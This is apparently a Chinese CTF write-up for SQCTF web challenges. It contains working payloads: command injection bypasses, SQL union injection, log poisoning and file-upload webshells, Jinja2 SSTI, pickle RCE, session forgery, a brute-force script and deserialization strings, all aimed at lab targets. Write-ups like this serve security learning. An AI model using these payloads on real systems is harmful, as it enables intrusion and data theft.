SQCTF web

RceMe

image-20250409193626219

这题只限制了payload为五字符以内

先传

1
?com=ls / 

得出flag目录

image-20250409193810014

读取flag文件的话 通过nl命令

  1. 使用nl命令nl是用于添加行号的命令,支持短路径通配符。
  2. 通配符匹配路径/*匹配根目录下的所有文件,假设/flag是其中唯一可读的文件。
1
payload:?com=nl /*
  • 命令长度n + l + 空格 + / + * → 共5个字符。
  • 执行效果:列出根目录下所有文件的内容(带行号),若/flag存在且可读,其内容将被输出

image-20250409194202918

ezGame

很明显需要你得分高于2048(游戏高手可以选择自己慢慢玩QAQ)

查看源码 搜索score

image-20250409194404529

1.

req.open(“GET”, “flag.php?score=” + obj.score, true); // 打开 GET 请求,URL 里包含 score 参数

可以看出最后分数是会经过GET请求的进行flag.php?score=? 的访问进行验证

所以我们可以直接构造

1
url/flag.php?score=2048   

来得到flagimage-20250409195023071

2.

上面可以看到最后应该是 obj.score 的值赋给了 score 并通过 obj.score 的值来查询服务器

然后再通过 getFlag()方法执行这一段代码 弹出服务器返回的响应内容

所以我们也可以在控制台对 obj.score 赋值

执行obj.score=2048

再通过obj.getFlag()来返回响应内容

因为最后是通过obj.getFlag(); 调用getFlag方法

image-20250409195656195

所以我们依次在控制台中输入

1
2
3
obj.score=2048

obj.getFlag();

得到flag

image-20250409195945130

Ping

image-20250409200254801

这题过滤了分号

可以通过

“换行符 %0a“ ” 逻辑运算符 ||“ ”管道符 |“进行绕过

payload:

1
2
3
4
5
?ip=%0als /   

?ip=|| ls /

?ip=| ls /

然后再cat /flag

1
2
3
4
5
?ip=%0a cat /flag

?ip=|| cat /flag

?ip=| cat /flag

这三个绕过都是可以的

image-20250409201416796

image-20250409201501661

商师一日游

挨个访问慢慢找就行了

image-20250409201604015

访问后查看源代码

image-20250409201636139

第一个碎片sqctf{

继续访问/atc2cnzd.php

fish牌的曲奇饼 刻下stong字样

改cookie:fish=strong

image-20250409201816922

第二个碎片:5444

继续访问 /atc3oklm.php

image-20250409201918137

在devtool网络栏里找信息

image-20250409202009593

第三个碎片:29c1e8

继续访问 /atc4zztg.php

image-20250409202055980

访问robots.txt

image-20250409202119026

第四个碎片:de4a2f8

继续访问/atc5uupl.php

image-20250409202449181

利用换行符 %0a 绕过即可

1
payload: ?hhh=php%0aphp

image-20250409202639107

第五个碎片:4933a953

继续访问 /atc6ertg.php

image-20250409202740096

不让点 看源码

image-20250409202808619

通过 disabled 限制了我们点击 把disabled删掉 或者改成 abled 都行

在查看器里直接修改 修改完 回车 就可以点了

image-20250409203014300

image-20250409203216416

第六个碎片:c5f4d

继续前进

image-20250409203250662

POST传参命令执行的

1
memory=system('ls');

image-20250409203334921

1
memory=system('cat Tourist_fragment7');

image-20250409203417204

最后一块碎片: ed}

拼接起来就行了

小小查询系统

image-20250409203652517

get传参id sql注入

先判断是字符型还是数字型注入 ?id=1 ?id=2-1 返回的结果不一样可知是字符型注入

判断闭合方式 闭合方式应该为单引号闭合 那不应该是 ‘1’’ 报错吗?

image-20250409204510008

接下来通过 order by 来判断有几列 判断出有3列

1
2
3
?id=1' order by 3 --+    

?id=1' order by 4 --+

–+是注释到后面的内容 防止sql注入产生错误

image-20250409204952168

image-20250409205003296

下面使用union联合注入查询

先查询数据库的名字 ?id=-1’ union select 1,2,database() –+ (-1’是为了让前面查询失效 以此来执行后面的注入语句) 数据库名字 security

image-20250409205417955

去查询表名信息

1
?id=-1' union select 1,table_name,3 from information_schema.tables --+

数据库information_schema->数据表tables->数据列table_name

image-20250409210014642

查询到了 有一个flag数据表 但是还没有flag的数据库名

1
?id=-1' union select 1,2,group_concat(table_schema,',',table_name) from information_schema.tables where table_name='flag' --+

在页面的第三列中返回 table_schematable_name,用 group_concat 拼接

条件是 table_name = 'flag'

这条语句将会返回所有表名是 flag 的表的【数据库名和表名】

查询到了数据库名是 ctf,表名是 flag`。

image-20250409210812998

1
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctf' --+

image-20250410170202051

枚举数据库 ctf 中名为 flag 的表的所有字段(列)名称。

group_concat(column_name):将所有满足条件的列名拼接在一起,用逗号分隔。

现在知道:

  • 数据库:ctf
  • 表名:flag
  • 字段名:value
1
?id=-1' union select 1,2,group_concat(value) from ctf.flag --+

用来读取 ctf 数据库中的 flag 表的所有 value 数据,并将它们连接成一个字符串。 得到flag

image-20250409211638092

baby include

image-20250409212529723

日志文件包含漏洞

ban了 php data filter input

读取一下/var/log/nginx/access.log

1
?look=/var/log/nginx/access.log

image-20250409212951218

发现是user-agent头里的东西

在user-agent请求头里 写shell

1
<?php system('ls');?>

在日志文件目录里注入的话 访问两次(刷新一下) 出现你执行命令的那次日志记录

发现了flag.php

image-20250409213104295

1
<?php system('cat flag.php');?>

查看源代码 得到flag

image-20250409213250525

image-20250409213435590

Input a number

image-20250409213510570

intval函数绕过

这题直接利用小数点绕过就行了

payload:

1
?sqctf=114514.1

intval函数会自动把114514.1转换成整数(返回个位数)114514

image-20250409214050075

Ez_calculate

image-20250409214242620

调教ai生成脚本(源码直接扔过去看看就行)

image-20250409214312854

最终脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests, re

url = "http://challenge.qsnctf.com:30517/" # 你页面的地址
session = requests.Session()

# 第一步:获取页面和表达式
r = session.get(url)
html = r.text
expr = re.search(r'<div class="challenge">(.*?)</div>', html).group(1)
print("[*] Expression:", expr)

# 第二步:计算结果
result = eval(expr)
print("[*] Answer:", result)

# 第三步:提交 POST 请求
res = session.post(url, data={"value": result})
print("[*] Response:\n", res.text)
# 第四步:访问 /flag 页面获取 flag
flag_url = url + "flag" if not url.endswith("/") else url + "flag"
flag_res = session.get(flag_url)
print("[*] FLAG 页面返回内容:\n", flag_res.text)

image-20250409214442128

也可以直接在控制台跑js代码(要在两秒时间结束前运行;好像有可能失败 失败的话就多试几次)

image-20250410120806996

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
(async function() {
const url = window.location.href; // 获取当前页面的 URL

// 获取页面中的表达式
const expressionElement = document.querySelector('.challenge');
if (!expressionElement) {
console.error("未找到表达式!");
return;
}

const expression = expressionElement.textContent.trim();
console.log(`[+] Expression found: ${expression}`);

// 计算表达式
let answer;
try {
answer = eval(expression);
console.log(`[+] Calculated answer: ${answer}`);
} catch (error) {
console.error("[-] Eval failed:", error);
return;
}

// 提交答案
const form = document.querySelector('form');
if (!form) {
console.error("未找到表单元素!");
return;
}

const input = form.querySelector('input[name="value"]');
if (!input) {
console.error("未找到答案输入框!");
return;
}

// 设置输入框的值为计算的答案
input.value = answer;

// 提交表单
form.submit();

console.log("[+] Form submitted!");

// 等待页面刷新,尝试获取 flag
setTimeout(() => {
const flagLink = document.querySelector('a[href="/flag"]');
if (flagLink) {
console.log("[+] Found /flag link, attempting to fetch the flag...");
window.location.href = flagLink.href;
} else {
console.log("[-] No flag link found.");
}
}, 1000); // 等待 1 秒,确保页面刷新后再尝试获取 flag

})();

image-20250410121025625

image-20250410121039169

My Blog

image-20250409214857486

点击Github 可以发现一个pdf文件 里面有username 与 password

image-20250409214934172

看见用户密码了 这边就直接猜测有login.php就可以了 就不扫描了

登录成功 获得flag

image-20250409215010099

image-20250409215042931

唯一

image-20250409215106283

没有提示的 只能猜测注入点

笔记 note

GET传参

1
?note=7

试试

image-20250409215223464

发现回显了7

注入

1
?note={{7*7}}

image-20250409215254275

这里可以判断出来应该是jinja2模板注入

这里我直接用的我们之前写题存的payload

1
?note={{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("get")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")()}}

image-20250409215514805

白月光

image-20250410122120762

image-20250410122133292

输入49 返回 49

jinja2模板注入

还是直接使用了上面那个payload 得到flag

image-20250410122426898

image-20250410122407058

Upload_Level1

image-20250409215631060

只能传.jpg .png .gif

写木马

1
<?php @eval($_POST['shell']);?>

命名为jpg文件 上传

burpsuite抓包 改后缀为php就能绕过

image-20250409215758573

也就是让 Content-Type为 image/jpeg 因为它检测的是这里 改上面后缀为php

发包

image-20250409215938742

访问/upload/shell.php 执行命令

1
shell=system('cat /f*');

image-20250409220624808

Upload_Level2

只能传jpg和png

这题可以利用.htaccess文件绕过

.htaccess文件内容为

1
Sethandler application/x-httpd-php

用来将上传的所有文件 当成php文件来执行

上传.htaccess文件 抓包

改Content-type为 image/jpeg 这题也是检测的这里

image-20250409221059282

然后发包 上传成功可以了

image-20250409221147385

然后再上传含一句话木马的jpg文件

image-20250409221415755

这个时候 shell.jpg文件 就已经被当成 shell.php文件执行了 也就是一句话木马注入成功

访问 /uploads/shell.jpg 跟上面一样进行命令执行即可

image-20250409221755986

图片展示功能

这个用跟上面upload_level2一样的方法就行

这个不用bp抓包改Content-type类型了 直接上传.htaccess文件 再传图片马就行了

传成功访问返回路径upload/shell.jpg 执行命令

image-20250413105021280

image-20250413105032638

baby rce

image-20250410114240366

extract($_GET),这段代码会将 $_GET 数组中的 param1param2 转换为 PHP 变量

1
2
3
if($token){
call_user_func($_POST['payload']);
}
image-20250410121519837

由于 call_user_func 允许执行任意函数,攻击者可以利用这个函数来实例化 TYctf 类并调用 getKey 方法,执行echo $flag 从而获取 flag。

也就是 我们只需要让$token=true 这里只需要param1的参数=param2的参数就行

然后再通过call_user_func函数调用TYctf::getKey

1
2
3
GET:   ?param1=1&param2=1

POST: payload=TYctf::getKey

image-20250410122005930

eeaassyy

按两次F12打开devtool 看到flag

image-20250410122524229

image-20250410122824054

反序列化

直接丢给ai 都能直接跑出payload

只要让pswd=escaping payload里没有出现flag和php就行了

image-20250410122809896

1
payload: O:4:"test":2:{s:4:"user";s:4:"xxxx";s:4:"pswd";s:8:"escaping";}

image-20250410122856824

嘿嘿嘿

image-20250410163205756

这题也是只需要让 $content=GET_FLAG 即可

只需要调用一下 hhh类 使$content=GET_FLAG就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class hhh {

public $file;

public $content='GET_FLAG';

}

$a=new hhh;

echo serialize($a);


image-20250410164450485

payload:

1
data=O:3:"hhh":2:{s:4:"file";N;s:7:"content";s:8:"GET_FLAG";}

查看源码 得到flag

image-20250410164553368

image-20250410164603360

伪装

image-20250413094533891

这是一个session伪造 sercert_key=’love’ 伪造cookie为:{“role”:{“is_admin”:1,”name”:”sjx”}}

用flask-unsign伪造session

建议用虚拟机linux环境跑 不知道为什么我windows上面跑不对

1
flask-unsign --sign --secret 'love' --cookie '{"role":{"is_admin":1,"name":"sjx"}}'

image-20250413095707904

1
session=eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_sZvw.MgyBRSWXmTYXNF_ttEsQ8bdjkgo

然后传cookie里访问 /admin路由就可以了

image-20250413095934903

Are you from SQNU?

image-20250413100028000

image-20250413100102831

打开源码可以发现get请求里有一个参数 tyctf

小T说 请使用post方法 我们post传参就行

image-20250413100157845

1
tyctf=1&hhh=abc

image-20250413100226195

修改请求头

1
referer:https://sqnu-tysec.com

image-20250413100427309

修改

1
user-agent:TYsecBrowser

image-20250413100453099

本地访问

添加请求头

1
x-forwarded-for: 127.0.0.1

image-20250413100534543

改cookie

1
user=admin

得到flag

image-20250413100623752

image-20250413100617186

Look for the homepag

image-20250413112422669

打开devtool 查看网络栏目里可以发现一个challenge.php 访问

image-20250413112509788

image-20250413112525788

levle1

level1只需要 pass1 pass2 verify 不会空 pass2=welcome 即可绕过

因为 if($verify_code === $code &&$pass1 === $flag || $pass2 === “welcome”)

前两个与后面pass2 直接只逻辑或的关系 只要后面成立该if即可为真

后面levle2

value1不为空 value3的md5 要等与$a[‘fly’]

parse_str($value1,$a);parse_str 解析的是查询字符串,并将解析结果存入指定的数组 $a

会把$value1的值解析给$a这个数组

即会导致 fly=>$value1

所以我们只需要value1的值为value3的md5值即可 md5中又会将数组解析成空

最终paylaod

1
2
3
get:pass1=1&verify=1&pass2=welcome&value3[]=1

post: value1[]=1

我这里采用了数组绕过 让他们俩都为空

image-20250413113537188

file_download

image-20250413101423697

image-20250413101430797

访问 /DownloadServlet

get or post filename 这个参数

因为这是一个文件下载的题 get传参是没办法进行下载的 post才可以下载

这里先通过get filename 去访问一下WEB-INF/web.xml

1
?filename=WEB-INF/web.xml

image-20250413101702836

在这里可以看到 /FlagManager这个路由 但是这个路由我们是没权限访问的

image-20250413101820540

可以看到报405 get请求不允许 这里posy请求也是一样的

然后在上面我们还发现了这个com.ctf.flag.FlagManager去访问一下

WEB-INF/classes/com/ctf/flag/FlagManager.class文件

1
?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class

image-20250413102055002

可以看到显示class文件无法直接显示 所以我们使用post传参去下载

image-20250413102129979

下载完去打开这个文件 发现好多乱码 这里也是卡了好久 最后发现这里面有 java 可能是一个需要反编译为java源码的class文件

JD-GUI:这是一个常用的图形化界面反编译工具,可以将 .class 文件反编译为 Java 源代码。

CFR:一个命令行工具,也可以将 .class 文件转换成源代码,支持新版本的 Java。

Procyon:另一个 Java 反编译器,支持较新的 Java 版本(Java 8 及更高版本)。

Jadx:主要用于 Android APK 反编译,但也可以反编译普通的 Java .class 文件。

image-20250413102214875

这里我使用jadx进行反编译 可以发现就显示出了java源码

image-20250413102622335

这里是

Java 加密类 FlagManager,它的核心逻辑是:

  1. 用户输入一个字符串。
  2. 对字符串中的每个字符进行加密:(字符ASCII值 + '&') ^ 48
  3. 将加密结果与预定义的 key 数组比较,若一致则验证成功。

目标是通过逆向加密算法,从 key 数组中还原出原始 flag。

丢给ai也能直接出

image-20250413103107083

加密算法逆向推导

加密过程分为两步(对每个字符操作):

1
int result = (c + '&') ^ 48;

要逆向此过程,需反向操作:

  1. 逆向异或运算:异或(^)的逆运算仍是异或。例如,若 A ^ B = C,则 C ^ B = A
  2. 逆向加法运算:加法(+)的逆运算是减法(-)。

因此,解密公式为:

1
原始字符 = ((加密数值 ^ 48) - '&')

分步解密过程

  1. 获取密钥数组

    1
    int[] key = {110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
  2. 对每个数值解密

    • 异或 48:key[i] ^ 48
    • 减去 38('&'的ASCII值):(key[i] ^ 48) - 38

    示例(以第一个数值 110 为例):

    1
    2
    110 ^ 48 = 78   // 二进制 1101110 ^ 00110000 = 01001110 (78)
    78 - 38 = 40 // 40 对应的 ASCII 字符是 '('
  3. 拼接所有字符
    key 数组中的每个数值重复上述操作,得到原始字符并拼接成字符串。


完整解密代码(Java)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class DecryptFlag {
public static void main(String[] args) {
int[] key = {110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
StringBuilder flag = new StringBuilder();

for (int encryptedValue : key) {
// 逆向异或 48,再减去 38
int decryptedChar = (encryptedValue ^ 48) - 38;
flag.append((char) decryptedChar);
}

// 输出格式为 flag{...}
System.out.println("flag{" + flag.toString() + "}");
}
}

输出结果

1
flag{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}

即是正确的flag

自私的小s

我们查看cookie会发现有一个

entrance=%2Fend.php

去访问end.php就行 进入反序列化的界面

image-20250413103424707

image-20250413103536032

这里也就只要一个私有变量绕过 %是没有影响的 我们正常写poc就行

1
2
3
4
5
6
<?php
class Genshin_impact{
private $value="system('ls /');";
}
$a=new Genshin_impact;
echo serialize($a);

image-20250413103938881

因为private 序列化之后 是 %00类名%00属性名 这里手动加上%00就行 s不用改 他包含着%00的字节大小了

1
2
payload:?payload=O:14:"Genshin_impact":1:{s:21:"%00Genshin_impact%00value";s:15:"system('ls /');";}

image-20250413104539598

得到根目录的flag文件 再cat /flag就行了

1
payload: ?payload=O:14:"Genshin_impact":1:{s:21:"%00Genshin_impact%00value";s:20:"system('cat%20/flag');";}

image-20250413104642349

pickle

image-20250413105756527

py代码 运行将运行的payload提交就行

1
2
3
4
5
6
7
8
9
10
import pickle
import base64
import subprocess

class Exploit(object):
def __reduce__(self):
return (subprocess.check_output, (['cat', '/flag'],))

payload = pickle.dumps(Exploit(), protocol=0)
print(base64.b64encode(payload).decode())

image-20250413105859684

image-20250413105947128

无参之舞

因为按键基本都被禁了

所以我们抓包来看源码

image-20250413110422308

这里的中文是

/* 儿时不懂这家传术法,要义怎是须斩断牵挂,不过初识这世间繁华,却要教我怎样告别他,七十五支残蜡,和七十六束火花,在指缝间留下,烫穿侥幸的年华,他们褪色的画,落成碑上的霜花,薪尽后将火传下,当赤团开出花,矗立在彼岸悬崖,花下奈落之底,身后灯火万家,当幽蝶飞向他,含笑将晚霞披挂,只盼望川奔流,稍回我牵挂,当死门风如鸦,归去何必惧怕,此去若化红梅,且向春山播撒,当命数已抵达,今日方觉我似他,来年若蝶归,替我吻向新芽,当离别开出花,裹着再见的谎话,总有少年攥紧,浸透生死的砂,万魂织就锦霞,轻抚千帆再归家,星槎载满月华,温暖了伤疤,当英雄开成花,绘出璃月繁华,他们笑而不语,却欣慰这回答,托举霄灯明霞,拂过青丝与白发,谁曾化春风,换人间春无涯。我才不会告诉你用户名是sqctf呢^_^! */

所以用户名就是sqctf 然后再进行一个弱口令爆破

py代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import time

# 登录页面 URL
url = "http://challenge.qsnctf.com:31269/"

# 用户名
username = "sqctf"

# 用于发送 POST 请求的 headers
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}

# 用于登录表单的 payload
data = {
"username": username,
"password": ""
}

# 读取密码字典文件路径
password_dict_file = r"D:\ctf\字典\弱口令.txt" # 替换为你的字典文件路径

# 打开字典文件并逐行读取密码
with open(password_dict_file, 'r', encoding='utf-8') as f:
passwords = f.readlines()

# 对每个密码进行尝试
for password in passwords:
password = password.strip() # 去除行末的换行符和空格
data["password"] = password # 更新密码

try:
response = requests.post(url, data=data, headers=headers, timeout=5)

# 输出尝试的密码和返回的状态码
print(f"尝试密码: {password} - 状态码: {response.status_code}")

# 检查返回的页面是否包含错误信息或特定的标识
if "用户名或密码错误" in response.text:
print(f"密码错误: {password}")
else:
print(f"可能找到了正确的密码: {password}")
break # 停止爆破,找到密码后退出

except requests.exceptions.Timeout:
print(f"请求超时: {password}")
time.sleep(1) # 如果请求超时,稍作等待后再试

except requests.exceptions.RequestException as e:
print(f"请求发生错误: {e}")

image-20250413110547933

密码是1q2w3e4r

登录成功 是一个无参rce

image-20250413110648096

先通过

1
?exp=print_r(scandir('.'));

遍历一下本目录中的文件

image-20250413110803018

发现有很多可能的flag文件

我们试着读取就行了 读取用file_get_contents就可以

payload:

1
?exp=print_r(file_get_contents('f1ag.php'));

image-20250413111124256

命令执行成功 查看源码获得flag

image-20250413111149705

千查万别

image-20250413111543938

直接访问读取 /proc/1/environ 获得flag

image-20250413111622655

ggoodd

image-20250413111711568

post: id=abc

$_GET[‘json’] 传入的 JSON 数据中,x键的值是‘cba’

payload:

1
2
3
post:id=abc

get:?json={"x":"cba"}

image-20250413111959242

开发人员的小失误

image-20250413112114106

直接扫描就行了

image-20250413112138986

有一个/backup.sql 文件

访问会下载该文件 打开得到flag

image-20250413112222475